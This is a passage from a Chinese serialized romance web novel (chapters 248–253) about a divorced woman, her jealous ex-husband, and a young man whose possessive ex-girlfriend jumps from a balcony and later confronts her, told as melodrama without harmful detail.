不一会儿,他伸手,用手背蹭了下她的唇角。
宋清殊躲闪不及,准备开口喝斥,在发现他手背上那抹酱汁的痕迹后,迅速红了脸。
这个氛围,他再表白一次应该可以吧?
盛熙川心跳如鼓,迅速组织语言。
“我……”
他要说的话被打断,一个欣喜的男声在两人耳边响起。
“姐姐,你居然也来露营了,这么巧!”
旖旎的范围被打破,接着,盛熙川看到了温世誉那张欠打的脸。
第248章 盛熙川乱吃醋
盛熙川非常想装作毫不在乎。
他告诉自己,温世誉不过是一个19岁的孩子,吃穿用度都要仰仗家里,也没有什么独立自主的能力,仅有的优势是长了一张过得去的脸,比他更年轻些,怎么值得放在心上?
如果别人知道他连一个孩子的醋都吃,恐怕要笑掉大牙。
也正因如此,宋清殊和温世誉的新闻出来后,苏白问都没问他一句。
可温世誉一来,他的表情管理都开始失灵了。
他瞬间进入战备状态。脸色紧绷,眼神防备,把想跟宋清殊说的话也吞回了肚子里。
温世誉是和三个男孩子一起过来的。
他们穿了一样的登山裤和冲锋衣,看上去年轻又有活力。
特别是温世誉,金色小卷发在阳光下闪着别样的光泽,很打眼。
盛熙川不说话,宋清殊却第一时间迎了上去。
巧的是,他们四个宋清殊都认识,都是那天救她的人。
在温世誉刚过来时,她就往一旁躲了躲,跟盛熙川拉开距离。
这个动作对她自己来说是注意影响,不要教坏小孩子。
但看在盛熙川眼里,就明摆着是想跟他撇清关系,是怕温世誉吃醋。
这个认知让盛熙川在心里打翻了醋坛子,咕嘟嘟冒着酸泡。
但宋清殊全然无察,根本不知道盛熙川会跟一个19岁的孩子吃醋。
她拿了四个肉串分给他们吃,之后,跟他们聊天。
男孩子们说晚上有金牛座流星雨,在山顶的观景台看最漂亮,问宋清殊要不要一起去。
再往上车就没法开了,只能顺着小路爬上去。
宋清殊还真的认真考虑了一下。
“算了,我带孩子爬山不方便。”她说。
温世誉马上接口:“我替你抱着去。”
听到这话,盛熙川眉头顿时皱了起来。
他是谁,要抱着他女儿?
“我女儿不用你抱。”他冷冷地说。
宋清殊怪怪地回头看他一眼,也不知温世誉哪里得罪了他,这是吃枪药了?
再后来,孟令贤夫妇带着两个孩子回来。
林佑平时就跟温世誉亲近,一看他,就激动地叫舅舅,又蹦又跳,扑进他怀里,又被被温世誉举到脖子上。
而珍珠只是一双眼睛好奇地打量着面前的人,并不说话。
她的目光也一直落在温世誉身上。
温世誉和他的几个同学原本要先往上走的,但林佑拉着他,怎么也不肯和舅舅分开。
宋清殊也留他们一起野餐。
她的年龄都能给温世誉和这几个朋友做小姨了。她看他们,跟长辈看晚辈没什么区别。
而且几个男孩帮过她,她打心眼里喜欢他们,怕自己照顾得不够。
“你们急什么?先一起吃个饭,下午再走也来得及。”她说。
不由分说,拉着四人坐下,开始给他们分食物。
几个男孩子也不客气,也把自己背包里的东西拿出来给他们分享。
温世誉拿了包小辣条,扯了一根递给宋清殊。
此时,宋清殊正左手拿着一张小饼,右手拿着一串烤肉,便举着饼说:“放这儿。”
“那就串味了,不好吃。”温世誉说,直接塞到了她嘴里。
宋清殊生怕弄到衣服上,微微仰着头吃了。
“好吃!”她的眼睛亮了一下。
温世誉这个举动,跟平时他跟孟令贤相处没什么区别。更何况年龄差距摆在那里,别说宋清殊,连孟令贤都没有多想。
但盛熙川的脸色黑得厉害。
林远洲也觉得不对劲,当着众人的面又不好明说,悄悄给孟令贤发微信。
林远洲:【你弟弟跟清殊不会来真的吧?】
孟令贤:【你想什么呢?别乱说(白眼),他平时就这样,你又不是不知道,他俩根本不可能】
孟令贤是看着温世誉长大的,知道他性格就这样,不会多想。
可林远洲是男人,他觉得他懂男人。
当年他徐徐图之,追孟令贤的时候,可也是从这样开始的。
更离谱的是,有段时间连他自己都不知道,他喜欢上了孟令贤。
所以他总觉得,温世誉对宋清殊就是有点不一样。
温世誉的辣条不仅给了宋清殊,还拿了一包不太辣的,分别喂了林佑和珍珠一口。
所有小朋友吃垃圾食品都会觉得开心,珍珠也不例外。温世誉这一举动,很好地俘获了她的心。
她挺喜欢温世誉,但又莫名其妙地想要防备。
总之,珍珠不跟温世誉说话,这是她心怀戒备最明显的表现,连宋清殊也看出来了。
吃完饭,几个男孩又开始劝宋清殊等人一起上山看流星雨。
宋清殊是去不去两可,主要看珍珠的意思。
如果珍珠要去,那盛熙川也得去,不然她自己不可能把她抱上山。
于是,宋清殊跟珍珠商量。
珍珠马上摇头,拒绝得干脆:“我不去。”
又对宋清殊道:“妈妈也不要去。”
宋清殊更加诧异,珍珠一直对天文地理类的东西非常感兴趣,这次的反应让人意外。
她甚至连一点期待都没有。
温世誉却依然在游说她:“没关系,珍珠,舅舅抱你上山,不会累的。”
珍珠不说话,只是摇头。
温世誉又要劝,盛熙川把珍珠往怀里一抱,面无表情。
“温世誉,我女儿只有陆展一个舅舅。连宋耀宗都不敢自称舅舅,你过分了。”
这话说得实在拂人面子,宋清殊皱紧眉,看盛熙川的眼神都冷了几分。
温世誉救过她的命,他不该被这样对待。
好在温世誉虽然年纪小,情绪却稳定极了。他没有因为盛熙川这话觉得下不来台,而是淡淡地挑了下眉,脸上有一闪而过的嘲讽。
“我跟姐姐是朋友,跟你又不是,不让珍珠叫我舅舅,难道叫叔叔?”他直接拿话噎盛熙川。
宋清殊选择站温世誉。
她觉得盛熙川这样针对他,简直无理取闹。
又呕了口气,觉得盛熙川不给温世誉面子,就是不给她面子。
但盛熙川现在只是她前夫,本来就没必要迁就她,她又不好说什么。
于是,她跟盛熙川呛声:“珍珠是我生的,我在心里拿世誉当弟弟,珍珠当然要叫世誉舅舅。”
说完,又把目光投向珍珠:“我现在准备跟舅舅去爬山看流星雨,你去不去?”
氛围剑拔弩张,孟令贤夫妇都闭了嘴,不敢作声,但林佑没看懂大人之间的暗涌。
“去吧妹妹,我还没有看过流星雨。”他拉珍珠的小手。
话已经说到了这份上,珍珠都不好说不去了。
第249章 你有病吧
从露营基地到山顶要两个多小时,众人排成一个纵队往上爬,林佑这个年纪有使不完的牛劲,可以自己爬。
但珍珠需要盛熙川抱。
珍珠是个小胖妞,好在盛熙川高大威猛,抱着她轻轻松松,丝毫不觉得累。
他们父女俩甚至在最前面。
珍珠看盛熙川情绪不高,特地往怀里靠了靠,仰头问他:“爸爸,你是感觉到危机了吗?”
这话问得太直接,最难堪的心思被点破,盛熙川愣了一下。
“珍珠好聪明。”他没有否认。
又问,“那珍珠觉得爸爸该有危机感吗?”
珍珠认认真真:“我前两天跟着王老师学了墨菲定律。王老师说,你越是恐惧的事情就越会发生。”
她稚嫩的脸上神情郑重——
独属于她的老灵魂又来了。
盛熙川明知道珍珠暂时还没有王千巽那样的“神力”,却依然要病急乱投医。
“那珍珠觉得,妈妈还会回到爸爸身边吗?”
珍珠愈加郑重:“当然,心诚则灵。”
她亲了盛熙川的脸颊一口,“爸爸,咱们两个都很虔诚。”
珍珠的话极大的安慰了盛熙川。
他沉默下来,告诉自己不能急躁,越急越会出错,只会把宋清殊推远。
但中途发生了一件事。
他们过一个山涧,踩着石头过河,一路往上。
其中有两阶的跨度有点高,盛熙川怕宋清殊踩空,回头等她,却看到温世誉站在上一阶台阶上,很自然地对宋清殊伸出了手。
宋清殊也自然地把手给他,借着他的力稳稳上去。
他不只拉了她,还拉了孟令贤,而且上去后就自然地放开了。
但那一瞬间,盛熙川看在眼里,嫉妒灭顶。
他们没看成流星雨。
还没爬到山顶,气象台突然狂发黄色警示,说两个小时后有8级大风。
众人的手机都收到了提示,于是,由盛熙川牵头,迅速决定往回返。
大风天气被困在山顶可不是闹着玩的。
回去的路上,温世誉和他的三个同学互相埋怨了一下,都怪对方没有提前做好功课。
他们并没有互撕,埋怨也带着玩笑性质,但盛熙川听着,便带了点隐秘的胜利感。
到底是孩子,思想不成熟,做事也欠缺,自己还是太拿他当回事了。
众人又回到了露营基地,此时,天已经快黑了。
温世誉等人是租的车,也怕在山路上出意外,跟他们道别先走了。
他们一行依旧是盛熙川开车。
他先把孟令贤一家三口送回去,之后,车里只剩下了他,宋清殊和珍珠。
周六,珍珠应该住临江别墅。
宋清殊以为盛熙川会先送自己回家,谁知,到了她的小区门口,他也没有停留。
宋清殊提醒。
“不急。”盛熙川说,车子先往临江别墅开。
宋清殊觉得他好似有话要说,也没有再坚持,正好,她也有话要说。
到别墅门口,保姆过来接。
盛熙川抱起珍珠亲了亲她的小脸:“宝宝你先进去。”
珍珠被转移到保姆怀里。
随后,她看两个别扭的大人一眼:“爸爸妈妈,你们好好聊聊,别吵架。”
那一眼心事重重。
珍珠一走,盛熙川关了车门,静静望着宋清殊。
宋清殊被他看得发慌。却依然选择了先发制人。
“盛熙川,我知道你只是我前夫,我没资格要求你,但你那么对温世誉,真的很不合适。”她说。
因为他的态度,她憋了一路的火。
不知是在气盛熙川对温世誉不礼貌,还是在气他不顾她的感受。
盛熙川的神色也冷淡得厉害。
“所以,宋清殊,你真看上他了吗?看上了一个19岁的男孩子?他帮过你,你就感激涕零,要以身相许了?”
他心里的火压不住,嗓门也高。
也是这个时候,宋清殊才明白他发什么癫。
她不敢置信地瞪大眼睛,好一会儿,才组织好语言。
“盛熙川,你是有什么大病吗?你该不会觉得那些营销号说的都是真的吧?”
宋清殊从来没有用这样的眼神看过他,好像在看一个傻子。
盛熙川尴尬。
他没把营销号说的话完全当真,但他草木皆兵,情绪刚消化完没多久,今天又跟温世誉狭路相逢,的确乱了方寸。
但宋清殊坦荡又无语的模样,竟然让他燥郁的心奇异地宁静下来。
他无言以对。
“你真是……你也知道他只有19岁啊?跟一个19岁的孩子置气,好像失心疯。”
宋清殊给他个白眼,开门下车。
“我走了,如果因为这种事跟你吵架,我会觉得自己是神经病。”
言下之意,他这么干就是神经病。
一直到走出别墅大门,宋清殊还在哭笑不得。
她说盛熙川怎么好好的跟变了个人似的,这么大人了,跟一个小孩子计较?过去怎么不知道他这么幼稚的!
宋清殊自己都没察觉,她的思路是完全把盛熙川当自己人的。
按理说,他只是前夫,连明目张胆吃醋的资格都没有。可宋清殊完全没想到这个层面。
花都一行,宋清殊见证了生死,心境也改变了特别多。
她甚至已经可以承认自己还爱着盛熙川。
但爱着不见得要在一起,她跟他,实在是差一点缘分。
没走几步,身后有车响。
盛熙川换了辆跑车跟了上来。
“小宝,我送你。”他探出头。
宋清殊这次倒是没再跟他客气。
车上的氛围略显尴尬,良久,盛熙川先开口。
“我对你的心,从来没有一天改变过。”
第250章 廖绮跳楼
恰逢等红绿灯,盛熙川停下车,转头看她的眼睛:“宋清殊,兜兜转转了好几年,我更加明白我有多爱你,也真的没你不行。”
在山上没说出来的话,此时还是说了。
宋清殊皱眉。
“盛熙川,你是想要一个进度条吗?”
“什么?”
他一时间没明白她的意思。
宋清殊正色:“我想问,你是不是想要我给你个进度条,就是明确到你做到什么程度,我会同意复婚。
如果是这样的话,抱歉,我也不知道。不如你多去考察一下别人,把眼睛从我身上挪开。”
在感情上,宋清殊是个差生。
她既没有天赋,也没有机会好好练习过。
在本该谈恋爱的时间,她在国外流放,根本没学会如何处理一段亲密关系。
她那些人际交往的法则,用在亲密关系里,显然是不太够的。
她不想把自己的纠结告诉盛熙川,因为不确定自己会做怎么样的选择,说平白给人希望的话没意义。
信号灯变绿,盛熙川再次启动车子。
两人又陷入了沉默里。
一直到宋清殊楼下,盛熙川才望着她开口:“我不急,也不会逼你,我们……慢慢来。”
他伸手摸了一下宋清殊的头发:“早点休息。”
宋清殊没有躲,她静静地看着盛熙川。
“如果你愿意等,再给我半年时间,如果不……”
“宋清殊。”盛熙川打断她,“我愿意等你一辈子。”
宋清殊没有再说什么,她点点头,转身上楼去了。
一辈子这种事,人说了不算,要看天意。既然如此,她也没必要告诉他,不用等那么久。
如果上天注定要让他遇到一个更合适的人,要跟那人在一起,会推着他往前走。
当然,命运这只手不只是对盛熙川如此。对她,对所有人,都是一样的。
回去后,宋清殊发微信关心了一下温世誉。
听到他安全到了,也就放下了心。
她跟温世誉道歉:【今天我前夫抽风,不用理他。
我女儿不喜欢跟陌生人说话,但还是很喜欢你的,你别往心里去。】
温世誉发了个俏皮的表情过来:【我懂,前夫哥嫉妒我】
宋清殊:……猜的真准。
跟一个刚成年的孩子争风吃醋,她都替盛熙川臊得慌。
这件事,在宋清殊眼里就告一段落了。
又过了几天,她大晚上突然收到了温世誉的微信。
开篇内容就能惊人一个跟头。
【我,温世誉,身份证号:xxxxxxxxxxxxxxxxxx,手机号:155xxxxxxxx,家庭住址:花都市,安岳路15号,现就读于上京大学经济管理系经济管理专业,23级2班。
我抛弃了交往四年多的女友廖绮,对她始乱终弃……】
后面的内容尤其情绪化到让人不忍直视,一看就是廖绮抢了温世誉手机群发的。
宋清殊假装没看到,没有回复。
谁知,又过了一个小时左右,温世誉发微信过来。
【姐姐,廖绮跳楼了】
宋清殊:???
到底什么样的感情能让人以伤害自己的身体为代价?
宋清殊赶到医院的时候,是夜里11点多。
廖绮在手术室抢救,温世誉坐在外面的走廊里,垂着头。
只有他自己。
宋清殊走过去,温世誉抬眼看她,那神情像一只做错事的大狗。
“姐姐。”他嗓音沙哑,看上去很绝望。
宋清殊理解不了现在这些孩子们对感情的执念,心有戚戚。
“她现在怎么样了?”
温世誉:“从三楼阳台跳下去的,不会死,但是两条腿粉碎性骨折。”
他双目猩红,脸上的表情痛苦又麻木。
“家人和你姐知道吗?”宋清殊问。
温世誉摇头:“廖绮把我的手机抢走,群发了微信,但没给家人发。”
他们的感情也是一笔烂帐,估计家人已经管得不想管了。
这种事,宋清殊也不问谁对谁错,感情的事说不清。
她出去买了份宵夜回来递给温世誉,陪他一起等。
温世誉吃不下。
他只是一个19岁的孩子,虽然比别的孩子成熟些,但到底还年轻,因为这件事受到了极大的冲击。
“我已经受够了,这次,哪怕廖绮真的残废了,我也不会被她道德绑架,再回到她身边。”温世誉说。
宋清殊只是点点头,什么都不想多说。
廖绮的手术从晚上一直做到早上7点。
她被推出来时,虚弱得好像一片枯叶,哪里有抓花宋清殊脸时嚣张跋扈的样子?
宋清殊和温世誉跟她一同进病房。
看见宋清殊,廖绮突然泪流满面。
“所以,他就是爱上你了,对不对?”廖绮问。
宋清殊:“哈?”
廖绮:“他说,这次他不复合,不是因为我任性,而是他心里已经有别人了。”
好大一口锅,宋清殊背不了。
“不是我。”她说,“这件事跟我没关系。”
廖绮冷笑:“你那天在学校门口也这么说,可转头你们就上了热搜。”
宋清殊:“……”
这件事还不是怪她?
要不是被她抓花了脸,温世誉内疚请客,怎么至于的上热搜?
可宋清殊总不好跟一个病人吵架。
“不是你想的那样,但如果你不想看见我,我可以出去。”
她说,看了温世誉一眼,“好好照顾她,我回家了,一会儿还要上班。”
她来陪温世誉,是因为温世誉对她有恩,但她不欠廖绮的,犯不着被她当假想敌。
温世誉起身:“我送你。”
“不用,你陪她吧。”宋清殊拍了拍他的肩。
可温世誉还是将她送了出来。
“给你添麻烦了,姐姐。”他说,神情一片灰暗。
“没关系。”宋清殊宽慰他,又问,“廖绮家里人知道吧?”
温世誉点头:“我通知了,应该上午的飞机就能到。”
宋清殊也不好再说什么,径直走了。
廖绮死不了就好,如果死了,这件事就大了。怕是温世誉这辈子都要活在愧疚里,再无翻身之日。
她离开医院时,跟苏白走了个对面。
苏白诧异:“怎么啦,这个时间来医院?”
宋清殊跟他说了。
第251章 出现在酒店
宋清殊说,温世誉是她朋友,要苏白对廖绮多照顾一点。
苏白神色有点奇怪,却还是答应了她。
宋清殊几乎一夜没睡,回家简单收拾了一下便去了公司,中午又跟客户应酬,只觉得头疼的要命。
温世誉和廖绮的事,她不准备插手。
跟她没什么关系是一方面,最主要的是,廖绮原本就拿她当假想敌,她出面,这件事或许会更糟。
到了晚上,下班时间,她给苏白打了个电话,托他给温世誉和廖绮定点餐,就自己回家了。
苏白那边同意得飞快,大包大揽,要她放心。
“你不用来,有我呢,出不了什么事儿。”他说。
宋清殊谢过他,就回家了。
晚上9点多,珍珠睡下了,宋清殊累了一天,却有点困过劲了。
她找了瓶褪黑素出来,还没吃,又接到了温世誉的电话。
温世誉在那边含糊不清,好像是喝醉了。
“你在哪儿?”宋清殊问他。
他好几次都没说明白,还是身边有个人接了电话,报了位置。
宋清殊赶到的时候,正看到三个男孩子把温世誉从夜店扶出来。
“姐姐,我们得回学校,门禁时间马上到了,把世誉交给你。”
宋清殊还没来得及拒绝,那几个男孩把人往她手里一塞,已经走了。
温世誉双眼迷蒙,往宋清殊身上倒:“姐姐……”
宋清殊皱眉:“你不在医院,跑出来喝酒?”
温世誉:“她家人在,不需要我。再说,我又没什么对不起她,是她自己要死要活。”
宋清殊:“……”
未知全貌,不予置评。
她扶温世誉在路边坐下,但看他的模样,倒也没有烂醉如泥。
“那你一会儿去哪儿?你不回宿舍吗?”
“不回。”温世誉说,“妈的,就因为她,学校要给我记处分,我都服了!”
他看上去跟廖绮一样委屈。
宋清殊不好说什么,只能也坐下听他诉苦。
温世誉说,廖绮被家里惯坏了,控制欲惊人,让他没有一点自由空间。
他在高中就处处忍让,觉得已经让够了。
现在他无论如何也不会回头了。
宋清殊不好说任何一方的坏话。
“你自己想好了就行,跟她好好谈谈。”
温世誉冷笑:“怎么谈,你看她像个正常人吗?她就是有病!”
宋清殊:“……”
温世誉骂廖绮的话,她一律不接。
两人在马路边吹了将近一个小时的风,温世誉还在倾诉,宋清殊都忍不住打了个喷嚏。
温世誉一脸醉意,竟然还抽空把外套脱下来,给宋清殊披上。
“不用。”宋清殊慌忙拒绝。
她把外套拿下来还给他。
他又再给她。
两个人推拉多次后,宋清殊索性不再跟他客气,直接把外套穿到了自己身上。
喝醉的人,尤其话多。
宋清殊也觉得走神不好,却又没办法集中注意力听他说这些。
她自己恋爱都没怎么谈过,实在解决不了青春期的男孩子的心结。
但温世誉似乎也不在乎她回不回应,她能好好听着,他就很开心了。
他看上去情绪好了不少。
在外面的时间太久了。
宋清殊想了想,主动问他:“我在附近酒店给你开个房,你先休息一晚上,有什么事明天再说,好不好?”
温世誉于是,乖巧点头,被宋清殊拽起身。
夜店附近100米左右,就是酒店。
宋清殊扶着他到酒店前台,用自己的身份证,替他开了间大床房。
“自己能上去吗?”她问。
温世誉点点头。
宋清殊刚把房卡放在他手里,便看到了从电梯里出来的盛熙川。
她身上还穿着温世誉的外套。
盛熙川来送一个客户,没想到这么巧。
看到两人,他整个人僵在了当场,有一瞬间脑子是空白的。
反而是宋清殊先跟他打招呼。
“嗨,这么巧。”
盛熙川的脸色一瞬间青白交加,他体内的恶魔在叫嚣着,要从身体里窜出来。
他想把酒店炸了。
“宋清殊,没记错的话,几天前你还告诉我,他只有19岁,你只拿他当弟弟。”盛熙川冷笑。
宋清殊知道他是误会了,拍了拍温世誉的肩膀:“去吧。”
“不需要我帮你解释吗?”温世誉问。
宋清殊摇头。
温世誉临走,还挑衅似的看了盛熙川一眼。
这一眼,宋清殊没注意。
看着温世誉跌跌撞撞上电梯,盛熙川的眉头依然紧锁着。
他扯了宋清殊的手腕,一路把她带出去。
两人站在酒店门口。
“宋清殊,别告诉我,你只是送他住酒店。为什么世界上有这么巧的事?”盛熙川怒气冲冲,压住她的肩膀。
宋清殊处理两个小朋友的感情问题,已经很烦了,现在又要面对这样一个醋坛子,更是头都大了。
“盛熙川,你相信我吗?你要是不相信我,就走吧。要是相信,可以送我回家,我顺便在路上跟你讲讲怎么回事。”
怎么回事,盛熙川倒也不是完全不知情。
毕竟,有苏白在医院,也跟他传递了一些消息。
只是嫉妒让他失去理智。
宋清殊淡淡的一句话,让盛熙川所有的怒气泄了下来。
他马上变成了一个温顺的大狗。
“走,我送你回家。”
他拉宋清殊的手。
宋清殊这次没有拒绝。
一直坐到车里,她才把情况说了。
其实她没必要解释这些,毕竟盛熙川只是个前夫。
但她不想被他怀疑人品,更不想莫名其妙又连累温世誉。
“既然你能出现在酒店,我也能。是你先入为主,觉得我们好像有什么。”她说,有点委屈。
盛熙川无言以对。
她说得对,但大概不只是温世誉,她身边出现任何一个男人,他都会进入戒备状态。
王千巽那句话,给了他很差的心理暗示。
盛熙川觉得,他快精神崩溃了。
“是我不好,我不该草木皆兵。”盛熙川说。
认错态度好到离谱。
宋清殊吃惊。
第252章 无理取闹
这几年,宋清殊觉得盛熙川也真的成长了很多。
他不再是过去那样一意孤行的性格,有什么事也愿意跟她沟通了。
本以为两人又会吵起来,她心里绷着一根弦。
谁知这件事就这么过了,她轻松不少。
时间在向前,人也都在变。
宋清殊突然感到了几分轻松。
昨天没有睡好,今天又折腾到了半夜,人终于放松下来后,困意一阵阵袭来。
宋清殊索性不再理他,阖上眼在副驾打瞌睡。
她很快就睡着了。
看着身边人的睡颜,盛熙川的心软得一塌糊涂。
这件事并不是在他这里翻篇了,而是他知道,狂怒没有意义,还会把她越推越远。
他只是不能再做任何把她推远的事。
宋清殊一觉醒来,已经是凌晨了。
她看着周围的环境,许久缓不过神。
眼里一片迷茫的水汽。
过来一会儿,才反应过来她在车库里。
为了让他躺得更舒服,副驾座椅被放倒,她身上还盖着盛熙川的大衣。
而盛熙川在一旁静静地看着她。
她揉着眼睛坐直身体,看一眼表。
“你怎么不叫我。”
刚睡醒的人语调软软的,嗔中带娇。
盛熙川原本想把她抱着送到家里去的,又怕把她吵醒。
“看你睡得太香,没忍心。”他说。
车里光线很暗,借着停车场的光,只能看清他一双灼灼的眼睛。
宋清殊的心也有点软。
她起身把大衣还他:“那我走了。”
盛熙川“嗯”了一声。
他没有送她,在车里看着她走进了电梯口。
望着那抹纤细的背影,盛熙川觉得,他更明白该如何跟宋清殊相处了。
太急会吓到她。
她喜欢润物细无声,人也是真的好哄。
盛熙川拿自己的大衣,发现上面粘了一根宋清殊的长发。
他小心地收起来,放到自己钱夹里。
宋清殊没有再管温世誉。
既然廖绮的家人知道了,温世誉的家人也一定会知道,他们能照顾好他。
温家权有势,他们再闹应该也不至于被退学。
宋清殊没有很担心。
但过了几天,廖绮突然找来。
在陆氏楼下看到轮椅上漂亮又跋扈的女孩,宋清殊眼前一黑。
廖绮是真难缠,宋清殊也是真烦她。
宋清殊一个比他们大那么多的人,都要被她当假想敌,也不知别的女孩会有多倒霉。
“廖绮,有事吗?”宋清殊问她。
廖绮:“姐姐,我们聊聊好不好?”
她看上去态度软了很多。
宋清殊皱起眉头:“不好意思,我家里还有事,我女儿在家等我。”
她拿出珍珠来当挡箭牌,“我孩子都三岁多了,廖绮,请你相信我,我对温世誉绝对没有任何非分之想。”
廖绮撇了撇嘴,竟然哭了起来。
“可他喜欢的人就是你,你微信是他的特别关注,手机铃声也是特定的,他的屏保是你。”
宋清殊:???
真荒唐啊。
她不知道廖绮说的这件事的真假,还想到一种可能:温世誉为了打发廖绮,拉她出来垫背。
可不管怎么样,她都不想掺和。
而且越是这样,她越想溜之大吉。
事情是怎么发展到这一步的?
为什么廖绮和盛熙川都会这么想?难道温世誉对她真的有别的想法?
宋清殊稍稍复盘了一下两人的交往过程,她觉得没有。
“廖绮,这件事一定有误会,但我知道不管我怎么说,你只愿意相信自己的主观臆断。”
她淡声说,“我还有事,不能陪你们两个小孩子玩了。你们自己的事,自己解决。
我可以向你保证,我对温世誉没有任何别的想法。”
她说完,直接掠过廖绮离开。
廖绮的电动轮椅却速度极快,按了按钮,直直地冲向她。
也许是没控制好方向,也许是故意的,宋清殊不知道。
反正,电动轮椅撞上了她的腿。
她猛地往后一个踉跄,膝盖下三寸的地方疼得要命。
“廖绮,你够了!”
她蹲下身,好一会儿没敢动。
“对不起,姐姐。”廖绮小声道歉,带着哭腔,“我真的没办法离开他,他现在都不肯见我了。姐姐,你劝劝温世誉好不好?”
这下,宋清殊真的恼了。
“好,我现在把温世誉叫过来,有什么话咱们说清楚。”
她说完,直接给温世誉打了电话。
温世誉来得很快,一见到廖绮,直接挂脸。
“你有病吗?有什么事冲我来,你打扰姐姐做什么?”
他怒气冲冲质问廖绮,一点面子都不给她。
廖绮再没有嚣张跋扈的样子,垂下眼,可怜巴巴:“我真的知道错了,原谅我好不好?
我们一起长大,我眼里只有你,你不理我的话,我活不下去……”
温世誉冷笑:“廖绮,你早做什么去了?我受够你了!”
廖绮:“可你在遇见宋清殊之前不是这么对我的。”
她哭的双眼通红。
宋清殊听两人吵架,只觉得烦。
她没心思给他们断官司。
“你们两个好好聊聊,温世誉,这事儿跟我没关系,对吗?”
她当着廖绮的面认真问温世誉。
温世誉:“当然没关系,是我自己要跟她分手!姐姐,你别理她,她大小姐脾气,发神经!”
宋清殊冷笑一下。
“既然跟我没关系,你们的事自己解决,也不要让她打扰我了。”
温世誉对她有恩,她也会在他需要的时候挺身而出。
可恩情不是这么用的。
她一个27岁的人,卷入十八九岁小情侣的纷争里,怎么看,都荒诞又离谱。
“那我先回去了。”宋清殊对温世誉点点头,就要离开。
温世誉马上察觉出了她走路姿势不对,看模样明显在忍痛。
“姐姐,你腿怎么了?”
宋清殊刚想说没事,廖绮马上说:“我不是故意的!可别觉得我故意用轮椅撞你。我一直光明磊落!”
宋清殊黑人问号脸。
廖绮撞完她,不觉得自己不对,要先声夺人,臆想她会跟温世誉告状。
她现在有点想站队了,她觉得温世誉能跟廖绮在一起这么多年,非常厉害。
简直是忍常人所不能忍。
温世誉一听,蹲下身扯她裤腿。
宋清殊的小腿正面青了一大块,温世誉看得皱眉,之后,又开始跟廖绮吵架。
“我受够你了!姐姐有什么错?你有什么事冲我来,天天发什么疯!”
廖绮哭哭啼啼:“让我找你,你连电话都不接,我哪有机会?温世誉,认识宋清殊后,你就变了!”
宋清殊:“……”
跟她有什么关系?她想骂街。
第253章 廖绮像季卿
看着廖绮,宋清殊突然想起了另一张脸——季卿。
她们一样的大小姐脾气,一样的嚣张跋扈。
稍微有点不同的是,廖绮年纪还小,还不够圆融,没办法像季卿一样掩饰情绪,表现得也更张扬一些。
她是季卿的外放版。
当然,论坏还是季卿坏,就凭季卿在读书时就把女同学逼得跳楼,就一辈子洗不白。
宋清殊廖绮,越看越讨厌。
她把吵架的两人丢下,自己往外走。
这时,来了一个穿着贵气的妇人。
“宋小姐,留步,一会儿我们聊两句。”妇人说。
之后先跑过去蹲在轮椅前安抚廖绮。
“宝贝,妈妈一会儿跟姐姐聊聊,你腿伤的这么严重,可不能再乱跑了。”她和颜悦色地哄。
原来是廖绮的母亲。
宋清殊等在一旁烦透了。
跟她有什么好聊的?这事儿跟她有什么关系?
但廖母已经说了,她也不好转身就走,只能找了个地方先坐下来。
廖母安抚完廖绮后,走过来对宋清殊道:“让他们小情侣自己去吵吧,我看附近就有咖啡馆,我们坐坐?”
到了咖啡馆,宋清殊没点咖啡,已经晚上七点了,她怕自己失眠。
她静静地看着廖母,先开口:“请您不要让您女儿再打扰我了,已经非常不礼貌了。”
廖母愣了一下。
这个宋清殊看着那样柔弱文静,她还以为是个软柿子,可她说话的时候,不卑不亢,神态冷静,又让她不由地多看一眼。
“宋小姐,可绮绮说,是您和世誉……”
宋清殊:“跟我没关系,您对我不了解,但我可以告诉您:我对温世誉只有感谢,没有任何别的一点意思。”
廖母叹了口气,貌似公正地说:“用两个孩子的事打扰您,确实不合适。”
……你知道就好。
“可现在您也看到了,绮绮要死要活,离开世誉不行。”
宋清殊:“所以呢?女士,我不知道这跟我有什么关系。”
廖母看似恳求,实则却是居高临下的傲慢:“您能不能去跟世誉说句狠话,让他再也不要联系您?”
宋清殊无语。
果然,有其母必有其女,廖母和廖绮一样的霸道。
怕温世誉离开,自己不去努力,却要她一个外人去成全。
她凭什么要去说狠话?没有道理。
“对救过我的人说不礼貌的话,我做不到。”
宋清殊起身,“我们不用谈了,请您约束好自己的女儿,不要再打扰我。”
廖母也起身,已经开始声色俱厉:“宋清殊,你怕是不了解花都廖家的实力!”
宋清殊挑了下眉:“所以,你是要威胁我?”
廖母显然也没摸清楚她的底细。
廖母到底年纪大了,又一直只知道吃喝玩乐,她对外面的世界了解得不多。
只是听廖绮说,宋清殊是陆家的干女儿,算是半个名人。
廖家实力不比陆家差,更何况宋清殊又不是陆夫人的亲女儿,所以她根本没把宋清殊放在眼里。
“我本来可以跟你好好商量,是你不知好歹!”廖母说。
宋清殊简直要被气笑了。
“温世誉说的没错,廖绮果然有心理疾病,但今天看到你,我就知道这病是遗传了。”
她骂人不吐脏字,“我说了,我不喜欢温世誉,也跟他没什么关系,你听不懂人话吗?”
廖母没料到被这样面斥,她的脸色青一阵白一阵,难看极了。
“我一个长辈过来求你,是给你面子,你要这样,就别怪我不客气了。”她放狠话。
宋清殊嗤笑一声,一个字都懒得跟她多说,直接拎包走了。
当晚,她又接到了温世誉的电话。
“姐姐,我在你楼下。”温世誉说。
被这么一闹,宋清殊对他的感恩已经快消耗没了。
“不好意思,我最近都没休息好,今天得早点睡觉了。”她疏离地说,“有什么话明天再聊。”
温世誉声音里顿时带了点委屈:“对不起……”
“没关系,只要以后别再打扰到我就好了。”她把话挑明了说。
温世誉那边沉默了一会儿,欲言又止。
最终也只说“姐姐好好休息”,挂了电话。
哪怕是到这一刻,宋清殊也没觉得温世誉对自己有什么意思,只觉得荒诞。
她腿上的淤青过了一个多星期才散去。
时间一久,再加上宋清殊忙,都快把这件事忘了。
很快到了她生日。
陆夫人的意思是要大办。
她说,宋清殊15岁出国后就再也没有办过生日,既然眼下回来替陆氏主持大局了,就该热闹一下。
生日宴也是很好的社交机会,对生意的开展也有帮助。
她甚至把话说到了前面:
“虽说你干爸刚去世不到一年,但咱们这里没有守孝不过生日的说法,你在这边过得好,干爸的在天之灵也高兴。”
宋清殊想了想。
15岁之前,陆家会给她过每一次生日。
出国后,她就再也不过了。
回来结婚的一年,还没赶上生日就去了花都,一走又是4年。
陆夫人坚持想大办,是心疼她这颠沛流离的12年。
连带着,看她为陆家付出了这样多,也想尽尽心。
宋清殊同意了
陆夫人喜上眉梢,马上派人去下了帖子。
生日宴在上京最大的落云酒店办,酒店是盛家的产业。
